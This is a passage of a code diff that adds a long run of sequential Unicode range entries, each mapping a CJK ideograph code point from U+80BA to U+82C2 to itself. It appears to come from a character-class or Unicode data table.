+ ["\u80BA", "\u80BA"], /* CJK Ideograph */
+ ["\u80BB", "\u80BB"], /* CJK Ideograph */
+ ["\u80BC", "\u80BC"], /* CJK Ideograph */
+ ["\u80BD", "\u80BD"], /* CJK Ideograph */
+ ["\u80BE", "\u80BE"], /* CJK Ideograph */
+ ["\u80BF", "\u80BF"], /* CJK Ideograph */
+ ["\u80C0", "\u80C0"], /* CJK Ideograph */
+ ["\u80C1", "\u80C1"], /* CJK Ideograph */
+ ["\u80C2", "\u80C2"], /* CJK Ideograph */
+ ["\u80C3", "\u80C3"], /* CJK Ideograph */
+ ["\u80C4", "\u80C4"], /* CJK Ideograph */
+ ["\u80C5", "\u80C5"], /* CJK Ideograph */
+ ["\u80C6", "\u80C6"], /* CJK Ideograph */
+ ["\u80C7", "\u80C7"], /* CJK Ideograph */
+ ["\u80C8", "\u80C8"], /* CJK Ideograph */
+ ["\u80C9", "\u80C9"], /* CJK Ideograph */
+ ["\u80CA", "\u80CA"], /* CJK Ideograph */
+ ["\u80CB", "\u80CB"], /* CJK Ideograph */
+ ["\u80CC", "\u80CC"], /* CJK Ideograph */
+ ["\u80CD", "\u80CD"], /* CJK Ideograph */
+ ["\u80CE", "\u80CE"], /* CJK Ideograph */
+ ["\u80CF", "\u80CF"], /* CJK Ideograph */
+ ["\u80D0", "\u80D0"], /* CJK Ideograph */
+ ["\u80D1", "\u80D1"], /* CJK Ideograph */
+ ["\u80D2", "\u80D2"], /* CJK Ideograph */
+ ["\u80D3", "\u80D3"], /* CJK Ideograph */
+ ["\u80D4", "\u80D4"], /* CJK Ideograph */
+ ["\u80D5", "\u80D5"], /* CJK Ideograph */
+ ["\u80D6", "\u80D6"], /* CJK Ideograph */
+ ["\u80D7", "\u80D7"], /* CJK Ideograph */
+ ["\u80D8", "\u80D8"], /* CJK Ideograph */
+ ["\u80D9", "\u80D9"], /* CJK Ideograph */
+ ["\u80DA", "\u80DA"], /* CJK Ideograph */
+ ["\u80DB", "\u80DB"], /* CJK Ideograph */
+ ["\u80DC", "\u80DC"], /* CJK Ideograph */
+ ["\u80DD", "\u80DD"], /* CJK Ideograph */
+ ["\u80DE", "\u80DE"], /* CJK Ideograph */
+ ["\u80DF", "\u80DF"], /* CJK Ideograph */
+ ["\u80E0", "\u80E0"], /* CJK Ideograph */
+ ["\u80E1", "\u80E1"], /* CJK Ideograph */
+ ["\u80E2", "\u80E2"], /* CJK Ideograph */
+ ["\u80E3", "\u80E3"], /* CJK Ideograph */
+ ["\u80E4", "\u80E4"], /* CJK Ideograph */
+ ["\u80E5", "\u80E5"], /* CJK Ideograph */
+ ["\u80E6", "\u80E6"], /* CJK Ideograph */
+ ["\u80E7", "\u80E7"], /* CJK Ideograph */
+ ["\u80E8", "\u80E8"], /* CJK Ideograph */
+ ["\u80E9", "\u80E9"], /* CJK Ideograph */
+ ["\u80EA", "\u80EA"], /* CJK Ideograph */
+ ["\u80EB", "\u80EB"], /* CJK Ideograph */
+ ["\u80EC", "\u80EC"], /* CJK Ideograph */
+ ["\u80ED", "\u80ED"], /* CJK Ideograph */
+ ["\u80EE", "\u80EE"], /* CJK Ideograph */
+ ["\u80EF", "\u80EF"], /* CJK Ideograph */
+ ["\u80F0", "\u80F0"], /* CJK Ideograph */
+ ["\u80F1", "\u80F1"], /* CJK Ideograph */
+ ["\u80F2", "\u80F2"], /* CJK Ideograph */
+ ["\u80F3", "\u80F3"], /* CJK Ideograph */
+ ["\u80F4", "\u80F4"], /* CJK Ideograph */
+ ["\u80F5", "\u80F5"], /* CJK Ideograph */
+ ["\u80F6", "\u80F6"], /* CJK Ideograph */
+ ["\u80F7", "\u80F7"], /* CJK Ideograph */
+ ["\u80F8", "\u80F8"], /* CJK Ideograph */
+ ["\u80F9", "\u80F9"], /* CJK Ideograph */
+ ["\u80FA", "\u80FA"], /* CJK Ideograph */
+ ["\u80FB", "\u80FB"], /* CJK Ideograph */
+ ["\u80FC", "\u80FC"], /* CJK Ideograph */
+ ["\u80FD", "\u80FD"], /* CJK Ideograph */
+ ["\u80FE", "\u80FE"], /* CJK Ideograph */
+ ["\u80FF", "\u80FF"], /* CJK Ideograph */
+ ["\u8100", "\u8100"], /* CJK Ideograph */
+ ["\u8101", "\u8101"], /* CJK Ideograph */
+ ["\u8102", "\u8102"], /* CJK Ideograph */
+ ["\u8103", "\u8103"], /* CJK Ideograph */
+ ["\u8104", "\u8104"], /* CJK Ideograph */
+ ["\u8105", "\u8105"], /* CJK Ideograph */
+ ["\u8106", "\u8106"], /* CJK Ideograph */
+ ["\u8107", "\u8107"], /* CJK Ideograph */
+ ["\u8108", "\u8108"], /* CJK Ideograph */
+ ["\u8109", "\u8109"], /* CJK Ideograph */
+ ["\u810A", "\u810A"], /* CJK Ideograph */
+ ["\u810B", "\u810B"], /* CJK Ideograph */
+ ["\u810C", "\u810C"], /* CJK Ideograph */
+ ["\u810D", "\u810D"], /* CJK Ideograph */
+ ["\u810E", "\u810E"], /* CJK Ideograph */
+ ["\u810F", "\u810F"], /* CJK Ideograph */
+ ["\u8110", "\u8110"], /* CJK Ideograph */
+ ["\u8111", "\u8111"], /* CJK Ideograph */
+ ["\u8112", "\u8112"], /* CJK Ideograph */
+ ["\u8113", "\u8113"], /* CJK Ideograph */
+ ["\u8114", "\u8114"], /* CJK Ideograph */
+ ["\u8115", "\u8115"], /* CJK Ideograph */
+ ["\u8116", "\u8116"], /* CJK Ideograph */
+ ["\u8117", "\u8117"], /* CJK Ideograph */
+ ["\u8118", "\u8118"], /* CJK Ideograph */
+ ["\u8119", "\u8119"], /* CJK Ideograph */
+ ["\u811A", "\u811A"], /* CJK Ideograph */
+ ["\u811B", "\u811B"], /* CJK Ideograph */
+ ["\u811C", "\u811C"], /* CJK Ideograph */
+ ["\u811D", "\u811D"], /* CJK Ideograph */
+ ["\u811E", "\u811E"], /* CJK Ideograph */
+ ["\u811F", "\u811F"], /* CJK Ideograph */
+ ["\u8120", "\u8120"], /* CJK Ideograph */
+ ["\u8121", "\u8121"], /* CJK Ideograph */
+ ["\u8122", "\u8122"], /* CJK Ideograph */
+ ["\u8123", "\u8123"], /* CJK Ideograph */
+ ["\u8124", "\u8124"], /* CJK Ideograph */
+ ["\u8125", "\u8125"], /* CJK Ideograph */
+ ["\u8126", "\u8126"], /* CJK Ideograph */
+ ["\u8127", "\u8127"], /* CJK Ideograph */
+ ["\u8128", "\u8128"], /* CJK Ideograph */
+ ["\u8129", "\u8129"], /* CJK Ideograph */
+ ["\u812A", "\u812A"], /* CJK Ideograph */
+ ["\u812B", "\u812B"], /* CJK Ideograph */
+ ["\u812C", "\u812C"], /* CJK Ideograph */
+ ["\u812D", "\u812D"], /* CJK Ideograph */
+ ["\u812E", "\u812E"], /* CJK Ideograph */
+ ["\u812F", "\u812F"], /* CJK Ideograph */
+ ["\u8130", "\u8130"], /* CJK Ideograph */
+ ["\u8131", "\u8131"], /* CJK Ideograph */
+ ["\u8132", "\u8132"], /* CJK Ideograph */
+ ["\u8133", "\u8133"], /* CJK Ideograph */
+ ["\u8134", "\u8134"], /* CJK Ideograph */
+ ["\u8135", "\u8135"], /* CJK Ideograph */
+ ["\u8136", "\u8136"], /* CJK Ideograph */
+ ["\u8137", "\u8137"], /* CJK Ideograph */
+ ["\u8138", "\u8138"], /* CJK Ideograph */
+ ["\u8139", "\u8139"], /* CJK Ideograph */
+ ["\u813A", "\u813A"], /* CJK Ideograph */
+ ["\u813B", "\u813B"], /* CJK Ideograph */
+ ["\u813C", "\u813C"], /* CJK Ideograph */
+ ["\u813D", "\u813D"], /* CJK Ideograph */
+ ["\u813E", "\u813E"], /* CJK Ideograph */
+ ["\u813F", "\u813F"], /* CJK Ideograph */
+ ["\u8140", "\u8140"], /* CJK Ideograph */
+ ["\u8141", "\u8141"], /* CJK Ideograph */
+ ["\u8142", "\u8142"], /* CJK Ideograph */
+ ["\u8143", "\u8143"], /* CJK Ideograph */
+ ["\u8144", "\u8144"], /* CJK Ideograph */
+ ["\u8145", "\u8145"], /* CJK Ideograph */
+ ["\u8146", "\u8146"], /* CJK Ideograph */
+ ["\u8147", "\u8147"], /* CJK Ideograph */
+ ["\u8148", "\u8148"], /* CJK Ideograph */
+ ["\u8149", "\u8149"], /* CJK Ideograph */
+ ["\u814A", "\u814A"], /* CJK Ideograph */
+ ["\u814B", "\u814B"], /* CJK Ideograph */
+ ["\u814C", "\u814C"], /* CJK Ideograph */
+ ["\u814D", "\u814D"], /* CJK Ideograph */
+ ["\u814E", "\u814E"], /* CJK Ideograph */
+ ["\u814F", "\u814F"], /* CJK Ideograph */
+ ["\u8150", "\u8150"], /* CJK Ideograph */
+ ["\u8151", "\u8151"], /* CJK Ideograph */
+ ["\u8152", "\u8152"], /* CJK Ideograph */
+ ["\u8153", "\u8153"], /* CJK Ideograph */
+ ["\u8154", "\u8154"], /* CJK Ideograph */
+ ["\u8155", "\u8155"], /* CJK Ideograph */
+ ["\u8156", "\u8156"], /* CJK Ideograph */
+ ["\u8157", "\u8157"], /* CJK Ideograph */
+ ["\u8158", "\u8158"], /* CJK Ideograph */
+ ["\u8159", "\u8159"], /* CJK Ideograph */
+ ["\u815A", "\u815A"], /* CJK Ideograph */
+ ["\u815B", "\u815B"], /* CJK Ideograph */
+ ["\u815C", "\u815C"], /* CJK Ideograph */
+ ["\u815D", "\u815D"], /* CJK Ideograph */
+ ["\u815E", "\u815E"], /* CJK Ideograph */
+ ["\u815F", "\u815F"], /* CJK Ideograph */
+ ["\u8160", "\u8160"], /* CJK Ideograph */
+ ["\u8161", "\u8161"], /* CJK Ideograph */
+ ["\u8162", "\u8162"], /* CJK Ideograph */
+ ["\u8163", "\u8163"], /* CJK Ideograph */
+ ["\u8164", "\u8164"], /* CJK Ideograph */
+ ["\u8165", "\u8165"], /* CJK Ideograph */
+ ["\u8166", "\u8166"], /* CJK Ideograph */
+ ["\u8167", "\u8167"], /* CJK Ideograph */
+ ["\u8168", "\u8168"], /* CJK Ideograph */
+ ["\u8169", "\u8169"], /* CJK Ideograph */
+ ["\u816A", "\u816A"], /* CJK Ideograph */
+ ["\u816B", "\u816B"], /* CJK Ideograph */
+ ["\u816C", "\u816C"], /* CJK Ideograph */
+ ["\u816D", "\u816D"], /* CJK Ideograph */
+ ["\u816E", "\u816E"], /* CJK Ideograph */
+ ["\u816F", "\u816F"], /* CJK Ideograph */
+ ["\u8170", "\u8170"], /* CJK Ideograph */
+ ["\u8171", "\u8171"], /* CJK Ideograph */
+ ["\u8172", "\u8172"], /* CJK Ideograph */
+ ["\u8173", "\u8173"], /* CJK Ideograph */
+ ["\u8174", "\u8174"], /* CJK Ideograph */
+ ["\u8175", "\u8175"], /* CJK Ideograph */
+ ["\u8176", "\u8176"], /* CJK Ideograph */
+ ["\u8177", "\u8177"], /* CJK Ideograph */
+ ["\u8178", "\u8178"], /* CJK Ideograph */
+ ["\u8179", "\u8179"], /* CJK Ideograph */
+ ["\u817A", "\u817A"], /* CJK Ideograph */
+ ["\u817B", "\u817B"], /* CJK Ideograph */
+ ["\u817C", "\u817C"], /* CJK Ideograph */
+ ["\u817D", "\u817D"], /* CJK Ideograph */
+ ["\u817E", "\u817E"], /* CJK Ideograph */
+ ["\u817F", "\u817F"], /* CJK Ideograph */
+ ["\u8180", "\u8180"], /* CJK Ideograph */
+ ["\u8181", "\u8181"], /* CJK Ideograph */
+ ["\u8182", "\u8182"], /* CJK Ideograph */
+ ["\u8183", "\u8183"], /* CJK Ideograph */
+ ["\u8184", "\u8184"], /* CJK Ideograph */
+ ["\u8185", "\u8185"], /* CJK Ideograph */
+ ["\u8186", "\u8186"], /* CJK Ideograph */
+ ["\u8187", "\u8187"], /* CJK Ideograph */
+ ["\u8188", "\u8188"], /* CJK Ideograph */
+ ["\u8189", "\u8189"], /* CJK Ideograph */
+ ["\u818A", "\u818A"], /* CJK Ideograph */
+ ["\u818B", "\u818B"], /* CJK Ideograph */
+ ["\u818C", "\u818C"], /* CJK Ideograph */
+ ["\u818D", "\u818D"], /* CJK Ideograph */
+ ["\u818E", "\u818E"], /* CJK Ideograph */
+ ["\u818F", "\u818F"], /* CJK Ideograph */
+ ["\u8190", "\u8190"], /* CJK Ideograph */
+ ["\u8191", "\u8191"], /* CJK Ideograph */
+ ["\u8192", "\u8192"], /* CJK Ideograph */
+ ["\u8193", "\u8193"], /* CJK Ideograph */
+ ["\u8194", "\u8194"], /* CJK Ideograph */
+ ["\u8195", "\u8195"], /* CJK Ideograph */
+ ["\u8196", "\u8196"], /* CJK Ideograph */
+ ["\u8197", "\u8197"], /* CJK Ideograph */
+ ["\u8198", "\u8198"], /* CJK Ideograph */
+ ["\u8199", "\u8199"], /* CJK Ideograph */
+ ["\u819A", "\u819A"], /* CJK Ideograph */
+ ["\u819B", "\u819B"], /* CJK Ideograph */
+ ["\u819C", "\u819C"], /* CJK Ideograph */
+ ["\u819D", "\u819D"], /* CJK Ideograph */
+ ["\u819E", "\u819E"], /* CJK Ideograph */
+ ["\u819F", "\u819F"], /* CJK Ideograph */
+ ["\u81A0", "\u81A0"], /* CJK Ideograph */
+ ["\u81A1", "\u81A1"], /* CJK Ideograph */
+ ["\u81A2", "\u81A2"], /* CJK Ideograph */
+ ["\u81A3", "\u81A3"], /* CJK Ideograph */
+ ["\u81A4", "\u81A4"], /* CJK Ideograph */
+ ["\u81A5", "\u81A5"], /* CJK Ideograph */
+ ["\u81A6", "\u81A6"], /* CJK Ideograph */
+ ["\u81A7", "\u81A7"], /* CJK Ideograph */
+ ["\u81A8", "\u81A8"], /* CJK Ideograph */
+ ["\u81A9", "\u81A9"], /* CJK Ideograph */
+ ["\u81AA", "\u81AA"], /* CJK Ideograph */
+ ["\u81AB", "\u81AB"], /* CJK Ideograph */
+ ["\u81AC", "\u81AC"], /* CJK Ideograph */
+ ["\u81AD", "\u81AD"], /* CJK Ideograph */
+ ["\u81AE", "\u81AE"], /* CJK Ideograph */
+ ["\u81AF", "\u81AF"], /* CJK Ideograph */
+ ["\u81B0", "\u81B0"], /* CJK Ideograph */
+ ["\u81B1", "\u81B1"], /* CJK Ideograph */
+ ["\u81B2", "\u81B2"], /* CJK Ideograph */
+ ["\u81B3", "\u81B3"], /* CJK Ideograph */
+ ["\u81B4", "\u81B4"], /* CJK Ideograph */
+ ["\u81B5", "\u81B5"], /* CJK Ideograph */
+ ["\u81B6", "\u81B6"], /* CJK Ideograph */
+ ["\u81B7", "\u81B7"], /* CJK Ideograph */
+ ["\u81B8", "\u81B8"], /* CJK Ideograph */
+ ["\u81B9", "\u81B9"], /* CJK Ideograph */
+ ["\u81BA", "\u81BA"], /* CJK Ideograph */
+ ["\u81BB", "\u81BB"], /* CJK Ideograph */
+ ["\u81BC", "\u81BC"], /* CJK Ideograph */
+ ["\u81BD", "\u81BD"], /* CJK Ideograph */
+ ["\u81BE", "\u81BE"], /* CJK Ideograph */
+ ["\u81BF", "\u81BF"], /* CJK Ideograph */
+ ["\u81C0", "\u81C0"], /* CJK Ideograph */
+ ["\u81C1", "\u81C1"], /* CJK Ideograph */
+ ["\u81C2", "\u81C2"], /* CJK Ideograph */
+ ["\u81C3", "\u81C3"], /* CJK Ideograph */
+ ["\u81C4", "\u81C4"], /* CJK Ideograph */
+ ["\u81C5", "\u81C5"], /* CJK Ideograph */
+ ["\u81C6", "\u81C6"], /* CJK Ideograph */
+ ["\u81C7", "\u81C7"], /* CJK Ideograph */
+ ["\u81C8", "\u81C8"], /* CJK Ideograph */
+ ["\u81C9", "\u81C9"], /* CJK Ideograph */
+ ["\u81CA", "\u81CA"], /* CJK Ideograph */
+ ["\u81CB", "\u81CB"], /* CJK Ideograph */
+ ["\u81CC", "\u81CC"], /* CJK Ideograph */
+ ["\u81CD", "\u81CD"], /* CJK Ideograph */
+ ["\u81CE", "\u81CE"], /* CJK Ideograph */
+ ["\u81CF", "\u81CF"], /* CJK Ideograph */
+ ["\u81D0", "\u81D0"], /* CJK Ideograph */
+ ["\u81D1", "\u81D1"], /* CJK Ideograph */
+ ["\u81D2", "\u81D2"], /* CJK Ideograph */
+ ["\u81D3", "\u81D3"], /* CJK Ideograph */
+ ["\u81D4", "\u81D4"], /* CJK Ideograph */
+ ["\u81D5", "\u81D5"], /* CJK Ideograph */
+ ["\u81D6", "\u81D6"], /* CJK Ideograph */
+ ["\u81D7", "\u81D7"], /* CJK Ideograph */
+ ["\u81D8", "\u81D8"], /* CJK Ideograph */
+ ["\u81D9", "\u81D9"], /* CJK Ideograph */
+ ["\u81DA", "\u81DA"], /* CJK Ideograph */
+ ["\u81DB", "\u81DB"], /* CJK Ideograph */
+ ["\u81DC", "\u81DC"], /* CJK Ideograph */
+ ["\u81DD", "\u81DD"], /* CJK Ideograph */
+ ["\u81DE", "\u81DE"], /* CJK Ideograph */
+ ["\u81DF", "\u81DF"], /* CJK Ideograph */
+ ["\u81E0", "\u81E0"], /* CJK Ideograph */
+ ["\u81E1", "\u81E1"], /* CJK Ideograph */
+ ["\u81E2", "\u81E2"], /* CJK Ideograph */
+ ["\u81E3", "\u81E3"], /* CJK Ideograph */
+ ["\u81E4", "\u81E4"], /* CJK Ideograph */
+ ["\u81E5", "\u81E5"], /* CJK Ideograph */
+ ["\u81E6", "\u81E6"], /* CJK Ideograph */
+ ["\u81E7", "\u81E7"], /* CJK Ideograph */
+ ["\u81E8", "\u81E8"], /* CJK Ideograph */
+ ["\u81E9", "\u81E9"], /* CJK Ideograph */
+ ["\u81EA", "\u81EA"], /* CJK Ideograph */
+ ["\u81EB", "\u81EB"], /* CJK Ideograph */
+ ["\u81EC", "\u81EC"], /* CJK Ideograph */
+ ["\u81ED", "\u81ED"], /* CJK Ideograph */
+ ["\u81EE", "\u81EE"], /* CJK Ideograph */
+ ["\u81EF", "\u81EF"], /* CJK Ideograph */
+ ["\u81F0", "\u81F0"], /* CJK Ideograph */
+ ["\u81F1", "\u81F1"], /* CJK Ideograph */
+ ["\u81F2", "\u81F2"], /* CJK Ideograph */
+ ["\u81F3", "\u81F3"], /* CJK Ideograph */
+ ["\u81F4", "\u81F4"], /* CJK Ideograph */
+ ["\u81F5", "\u81F5"], /* CJK Ideograph */
+ ["\u81F6", "\u81F6"], /* CJK Ideograph */
+ ["\u81F7", "\u81F7"], /* CJK Ideograph */
+ ["\u81F8", "\u81F8"], /* CJK Ideograph */
+ ["\u81F9", "\u81F9"], /* CJK Ideograph */
+ ["\u81FA", "\u81FA"], /* CJK Ideograph */
+ ["\u81FB", "\u81FB"], /* CJK Ideograph */
+ ["\u81FC", "\u81FC"], /* CJK Ideograph */
+ ["\u81FD", "\u81FD"], /* CJK Ideograph */
+ ["\u81FE", "\u81FE"], /* CJK Ideograph */
+ ["\u81FF", "\u81FF"], /* CJK Ideograph */
+ ["\u8200", "\u8200"], /* CJK Ideograph */
+ ["\u8201", "\u8201"], /* CJK Ideograph */
+ ["\u8202", "\u8202"], /* CJK Ideograph */
+ ["\u8203", "\u8203"], /* CJK Ideograph */
+ ["\u8204", "\u8204"], /* CJK Ideograph */
+ ["\u8205", "\u8205"], /* CJK Ideograph */
+ ["\u8206", "\u8206"], /* CJK Ideograph */
+ ["\u8207", "\u8207"], /* CJK Ideograph */
+ ["\u8208", "\u8208"], /* CJK Ideograph */
+ ["\u8209", "\u8209"], /* CJK Ideograph */
+ ["\u820A", "\u820A"], /* CJK Ideograph */
+ ["\u820B", "\u820B"], /* CJK Ideograph */
+ ["\u820C", "\u820C"], /* CJK Ideograph */
+ ["\u820D", "\u820D"], /* CJK Ideograph */
+ ["\u820E", "\u820E"], /* CJK Ideograph */
+ ["\u820F", "\u820F"], /* CJK Ideograph */
+ ["\u8210", "\u8210"], /* CJK Ideograph */
+ ["\u8211", "\u8211"], /* CJK Ideograph */
+ ["\u8212", "\u8212"], /* CJK Ideograph */
+ ["\u8213", "\u8213"], /* CJK Ideograph */
+ ["\u8214", "\u8214"], /* CJK Ideograph */
+ ["\u8215", "\u8215"], /* CJK Ideograph */
+ ["\u8216", "\u8216"], /* CJK Ideograph */
+ ["\u8217", "\u8217"], /* CJK Ideograph */
+ ["\u8218", "\u8218"], /* CJK Ideograph */
+ ["\u8219", "\u8219"], /* CJK Ideograph */
+ ["\u821A", "\u821A"], /* CJK Ideograph */
+ ["\u821B", "\u821B"], /* CJK Ideograph */
+ ["\u821C", "\u821C"], /* CJK Ideograph */
+ ["\u821D", "\u821D"], /* CJK Ideograph */
+ ["\u821E", "\u821E"], /* CJK Ideograph */
+ ["\u821F", "\u821F"], /* CJK Ideograph */
+ ["\u8220", "\u8220"], /* CJK Ideograph */
+ ["\u8221", "\u8221"], /* CJK Ideograph */
+ ["\u8222", "\u8222"], /* CJK Ideograph */
+ ["\u8223", "\u8223"], /* CJK Ideograph */
+ ["\u8224", "\u8224"], /* CJK Ideograph */
+ ["\u8225", "\u8225"], /* CJK Ideograph */
+ ["\u8226", "\u8226"], /* CJK Ideograph */
+ ["\u8227", "\u8227"], /* CJK Ideograph */
+ ["\u8228", "\u8228"], /* CJK Ideograph */
+ ["\u8229", "\u8229"], /* CJK Ideograph */
+ ["\u822A", "\u822A"], /* CJK Ideograph */
+ ["\u822B", "\u822B"], /* CJK Ideograph */
+ ["\u822C", "\u822C"], /* CJK Ideograph */
+ ["\u822D", "\u822D"], /* CJK Ideograph */
+ ["\u822E", "\u822E"], /* CJK Ideograph */
+ ["\u822F", "\u822F"], /* CJK Ideograph */
+ ["\u8230", "\u8230"], /* CJK Ideograph */
+ ["\u8231", "\u8231"], /* CJK Ideograph */
+ ["\u8232", "\u8232"], /* CJK Ideograph */
+ ["\u8233", "\u8233"], /* CJK Ideograph */
+ ["\u8234", "\u8234"], /* CJK Ideograph */
+ ["\u8235", "\u8235"], /* CJK Ideograph */
+ ["\u8236", "\u8236"], /* CJK Ideograph */
+ ["\u8237", "\u8237"], /* CJK Ideograph */
+ ["\u8238", "\u8238"], /* CJK Ideograph */
+ ["\u8239", "\u8239"], /* CJK Ideograph */
+ ["\u823A", "\u823A"], /* CJK Ideograph */
+ ["\u823B", "\u823B"], /* CJK Ideograph */
+ ["\u823C", "\u823C"], /* CJK Ideograph */
+ ["\u823D", "\u823D"], /* CJK Ideograph */
+ ["\u823E", "\u823E"], /* CJK Ideograph */
+ ["\u823F", "\u823F"], /* CJK Ideograph */
+ ["\u8240", "\u8240"], /* CJK Ideograph */
+ ["\u8241", "\u8241"], /* CJK Ideograph */
+ ["\u8242", "\u8242"], /* CJK Ideograph */
+ ["\u8243", "\u8243"], /* CJK Ideograph */
+ ["\u8244", "\u8244"], /* CJK Ideograph */
+ ["\u8245", "\u8245"], /* CJK Ideograph */
+ ["\u8246", "\u8246"], /* CJK Ideograph */
+ ["\u8247", "\u8247"], /* CJK Ideograph */
+ ["\u8248", "\u8248"], /* CJK Ideograph */
+ ["\u8249", "\u8249"], /* CJK Ideograph */
+ ["\u824A", "\u824A"], /* CJK Ideograph */
+ ["\u824B", "\u824B"], /* CJK Ideograph */
+ ["\u824C", "\u824C"], /* CJK Ideograph */
+ ["\u824D", "\u824D"], /* CJK Ideograph */
+ ["\u824E", "\u824E"], /* CJK Ideograph */
+ ["\u824F", "\u824F"], /* CJK Ideograph */
+ ["\u8250", "\u8250"], /* CJK Ideograph */
+ ["\u8251", "\u8251"], /* CJK Ideograph */
+ ["\u8252", "\u8252"], /* CJK Ideograph */
+ ["\u8253", "\u8253"], /* CJK Ideograph */
+ ["\u8254", "\u8254"], /* CJK Ideograph */
+ ["\u8255", "\u8255"], /* CJK Ideograph */
+ ["\u8256", "\u8256"], /* CJK Ideograph */
+ ["\u8257", "\u8257"], /* CJK Ideograph */
+ ["\u8258", "\u8258"], /* CJK Ideograph */
+ ["\u8259", "\u8259"], /* CJK Ideograph */
+ ["\u825A", "\u825A"], /* CJK Ideograph */
+ ["\u825B", "\u825B"], /* CJK Ideograph */
+ ["\u825C", "\u825C"], /* CJK Ideograph */
+ ["\u825D", "\u825D"], /* CJK Ideograph */
+ ["\u825E", "\u825E"], /* CJK Ideograph */
+ ["\u825F", "\u825F"], /* CJK Ideograph */
+ ["\u8260", "\u8260"], /* CJK Ideograph */
+ ["\u8261", "\u8261"], /* CJK Ideograph */
+ ["\u8262", "\u8262"], /* CJK Ideograph */
+ ["\u8263", "\u8263"], /* CJK Ideograph */
+ ["\u8264", "\u8264"], /* CJK Ideograph */
+ ["\u8265", "\u8265"], /* CJK Ideograph */
+ ["\u8266", "\u8266"], /* CJK Ideograph */
+ ["\u8267", "\u8267"], /* CJK Ideograph */
+ ["\u8268", "\u8268"], /* CJK Ideograph */
+ ["\u8269", "\u8269"], /* CJK Ideograph */
+ ["\u826A", "\u826A"], /* CJK Ideograph */
+ ["\u826B", "\u826B"], /* CJK Ideograph */
+ ["\u826C", "\u826C"], /* CJK Ideograph */
+ ["\u826D", "\u826D"], /* CJK Ideograph */
+ ["\u826E", "\u826E"], /* CJK Ideograph */
+ ["\u826F", "\u826F"], /* CJK Ideograph */
+ ["\u8270", "\u8270"], /* CJK Ideograph */
+ ["\u8271", "\u8271"], /* CJK Ideograph */
+ ["\u8272", "\u8272"], /* CJK Ideograph */
+ ["\u8273", "\u8273"], /* CJK Ideograph */
+ ["\u8274", "\u8274"], /* CJK Ideograph */
+ ["\u8275", "\u8275"], /* CJK Ideograph */
+ ["\u8276", "\u8276"], /* CJK Ideograph */
+ ["\u8277", "\u8277"], /* CJK Ideograph */
+ ["\u8278", "\u8278"], /* CJK Ideograph */
+ ["\u8279", "\u8279"], /* CJK Ideograph */
+ ["\u827A", "\u827A"], /* CJK Ideograph */
+ ["\u827B", "\u827B"], /* CJK Ideograph */
+ ["\u827C", "\u827C"], /* CJK Ideograph */
+ ["\u827D", "\u827D"], /* CJK Ideograph */
+ ["\u827E", "\u827E"], /* CJK Ideograph */
+ ["\u827F", "\u827F"], /* CJK Ideograph */
+ ["\u8280", "\u8280"], /* CJK Ideograph */
+ ["\u8281", "\u8281"], /* CJK Ideograph */
+ ["\u8282", "\u8282"], /* CJK Ideograph */
+ ["\u8283", "\u8283"], /* CJK Ideograph */
+ ["\u8284", "\u8284"], /* CJK Ideograph */
+ ["\u8285", "\u8285"], /* CJK Ideograph */
+ ["\u8286", "\u8286"], /* CJK Ideograph */
+ ["\u8287", "\u8287"], /* CJK Ideograph */
+ ["\u8288", "\u8288"], /* CJK Ideograph */
+ ["\u8289", "\u8289"], /* CJK Ideograph */
+ ["\u828A", "\u828A"], /* CJK Ideograph */
+ ["\u828B", "\u828B"], /* CJK Ideograph */
+ ["\u828C", "\u828C"], /* CJK Ideograph */
+ ["\u828D", "\u828D"], /* CJK Ideograph */
+ ["\u828E", "\u828E"], /* CJK Ideograph */
+ ["\u828F", "\u828F"], /* CJK Ideograph */
+ ["\u8290", "\u8290"], /* CJK Ideograph */
+ ["\u8291", "\u8291"], /* CJK Ideograph */
+ ["\u8292", "\u8292"], /* CJK Ideograph */
+ ["\u8293", "\u8293"], /* CJK Ideograph */
+ ["\u8294", "\u8294"], /* CJK Ideograph */
+ ["\u8295", "\u8295"], /* CJK Ideograph */
+ ["\u8296", "\u8296"], /* CJK Ideograph */
+ ["\u8297", "\u8297"], /* CJK Ideograph */
+ ["\u8298", "\u8298"], /* CJK Ideograph */
+ ["\u8299", "\u8299"], /* CJK Ideograph */
+ ["\u829A", "\u829A"], /* CJK Ideograph */
+ ["\u829B", "\u829B"], /* CJK Ideograph */
+ ["\u829C", "\u829C"], /* CJK Ideograph */
+ ["\u829D", "\u829D"], /* CJK Ideograph */
+ ["\u829E", "\u829E"], /* CJK Ideograph */
+ ["\u829F", "\u829F"], /* CJK Ideograph */
+ ["\u82A0", "\u82A0"], /* CJK Ideograph */
+ ["\u82A1", "\u82A1"], /* CJK Ideograph */
+ ["\u82A2", "\u82A2"], /* CJK Ideograph */
+ ["\u82A3", "\u82A3"], /* CJK Ideograph */
+ ["\u82A4", "\u82A4"], /* CJK Ideograph */
+ ["\u82A5", "\u82A5"], /* CJK Ideograph */
+ ["\u82A6", "\u82A6"], /* CJK Ideograph */
+ ["\u82A7", "\u82A7"], /* CJK Ideograph */
+ ["\u82A8", "\u82A8"], /* CJK Ideograph */
+ ["\u82A9", "\u82A9"], /* CJK Ideograph */
+ ["\u82AA", "\u82AA"], /* CJK Ideograph */
+ ["\u82AB", "\u82AB"], /* CJK Ideograph */
+ ["\u82AC", "\u82AC"], /* CJK Ideograph */
+ ["\u82AD", "\u82AD"], /* CJK Ideograph */
+ ["\u82AE", "\u82AE"], /* CJK Ideograph */
+ ["\u82AF", "\u82AF"], /* CJK Ideograph */
+ ["\u82B0", "\u82B0"], /* CJK Ideograph */
+ ["\u82B1", "\u82B1"], /* CJK Ideograph */
+ ["\u82B2", "\u82B2"], /* CJK Ideograph */
+ ["\u82B3", "\u82B3"], /* CJK Ideograph */
+ ["\u82B4", "\u82B4"], /* CJK Ideograph */
+ ["\u82B5", "\u82B5"], /* CJK Ideograph */
+ ["\u82B6", "\u82B6"], /* CJK Ideograph */
+ ["\u82B7", "\u82B7"], /* CJK Ideograph */
+ ["\u82B8", "\u82B8"], /* CJK Ideograph */
+ ["\u82B9", "\u82B9"], /* CJK Ideograph */
+ ["\u82BA", "\u82BA"], /* CJK Ideograph */
+ ["\u82BB", "\u82BB"], /* CJK Ideograph */
+ ["\u82BC", "\u82BC"], /* CJK Ideograph */
+ ["\u82BD", "\u82BD"], /* CJK Ideograph */
+ ["\u82BE", "\u82BE"], /* CJK Ideograph */
+ ["\u82BF", "\u82BF"], /* CJK Ideograph */
+ ["\u82C0", "\u82C0"], /* CJK Ideograph */
+ ["\u82C1", "\u82C1"], /* CJK Ideograph */
+ ["\u82C2", "\u82C2"], /* CJK Ideograph */
